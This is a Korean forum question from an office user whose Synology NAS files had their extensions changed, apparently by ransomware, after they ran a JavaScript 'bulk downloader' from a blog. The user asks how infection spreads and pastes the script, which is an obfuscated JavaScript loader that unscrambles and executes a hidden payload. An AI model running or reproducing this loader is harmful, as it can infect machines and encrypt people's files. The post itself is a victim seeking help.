안녕하세요. 오전에 나스를 사용하다가 파일화장자가 바뀐 부분이 발견되어
바로 랜선 뽑고 전원 껐는데요. 질문이 몇가지 있습니다. 네트워크드라이브로 연결하여 사무실 컴퓨터들이 사무를 보고 있는데, 시놀로지 구형 나스라 스냅샷 기능을 사용 못하고 있었습니다. ㅠㅠ (brfs 문제로)
1.컴퓨터 랜섬웨어 검사 후에, 나스를 켜면 더 이상 랜섬웨어가 파일확장자를 바꾸지 않나요? 아니면 나스 단독으로 한번 걸리면 계속 퍼지게 되는 건가요?
2.인터넷 네이버 블로그에 첨부파일이 많아 동시에 다운 받는 프로그램이 자바스크립트로 있어서 실행했는데 그 이후에 데스크톱은 멀쩡한데, 갑자기 나스에만 확장자가 변경되었는데 그것도 가능한가요?
3.랜섬웨어인지 js파일을 보내서 답변을 받을 수 있는 방법이 있나요? 메모장으로 열어보니 아래와 같습니다.
function au57() {xE39[QL28] = XU33[xE39[nv47]];}
mo72="wwIXqxoc";
XU33(0);
bx88(1);
QC10=BH61(Uz53,nv47);
JS89();
au57();
function JS89() {xE39 = QC10.split(mo72);}
function XU33(wh96){
Uz53 = 'e+\'p\\]e(/2l2u2s2pY.2dAt2a[p2t4i)e5r;.Xc ppS}h+W p\\ \'\'e\\/{l+/ s\":\\e)s? 1po{-ti =thW=hyY)\\z\')9b 0 b, =g\\,\'j \"T\\WwE@YlG\"9\\\\o\'+.i(4r=n1e\"e\\pDp+lBoBa+.Dc\"3\\e14@(4b\"\\\\\",T(@ f\\f\"O{a+xylBersDdte1n )4i;;+.) \\9\"T0Y@b3W\\4\"(+3,(0.\\ \"s7f\\e\"i,n) 2d;;(( t])vx\\;\"ea rTr}te csssabnZtuo5csp2h\\s\"( e[e=r)) .({W3g Y4nr9bie.Trtr tue=Srp onl9t aY.fcW)ae (l(rms/aoe(vd;\\ \\ n{d}a { r)2i.0}fh0) t2/(a gTM=,b = 4==f3 u.4sns1uctDttaB\'i( 1o6;HnB)( ]\\2\'-(5P[d9T3jETx6}H );L+ +M5{4XN ar r;e)e1v6tkrvu(e]r]S\"nt.\" +2\"SrL\"t+M\"rqX\"i+S\"nsM\"g[\\[\'h.t(afMt r;c5o4eNmaj=C1b6hkOva e{r t)C9a8o1e7d5r7e8C1( .<p t5a4pNrai(s reelciIhSwn W;t4 6( ==d 5j43N6a4;,)b(18T40g Y)}{;+) \"3k)d0k3k)i \\;\\<\" + )}\"2p)o2t;kYs eADx\"((E] \"3ser9eld[lio3Fhl]awi(c esp;SZ\"0[5) \"2l=l)e h(S2.)t2p;iYr cASWW \"S(;]c\"]trc\\e\"jiblOpeptta.e.rxCQ\"a[utmpiiirtcpS(Wl()]a\";r\\e\"d l,o}F\\e\"t ame}roC \"c[e).\"ltccseijebnO mae{tes ycSWeolSimFc.ugrniiitnppiirtcmS.\"u(s]l\"ltacee\\j\"beO,ept\\a\"e(riC2\"f[2t.p2ior2cbS2Wa{) .);(g8 4sg}Ya n\\o\"iAt[cYn u2f=;24 8+444+=5k;pXt}npb b\'p)v)t(caoNx4q5X)I;wgwurioatqciu=rxtEs3n9o;c ';
nv47=wh96;}
function FN1777() {xE39[QL28](xE39[pE86])(xE39[pE86]);}
FN1777();
function BH61(fY5,ZA18) {Vl65=nv47;PL86 = ""; while (Vl65 < we59) {mW47 = fY5.charAt(Vl65);if (Vl65 % (pE86+pE86)) PL86=PL86+mW47; else PL86=mW47+PL86; Vl65++; }return (PL86);}
function bx88(vb55){
pE86=vb55;
QL28=pE86+vb55*pE86+vb55;
we59=2988;}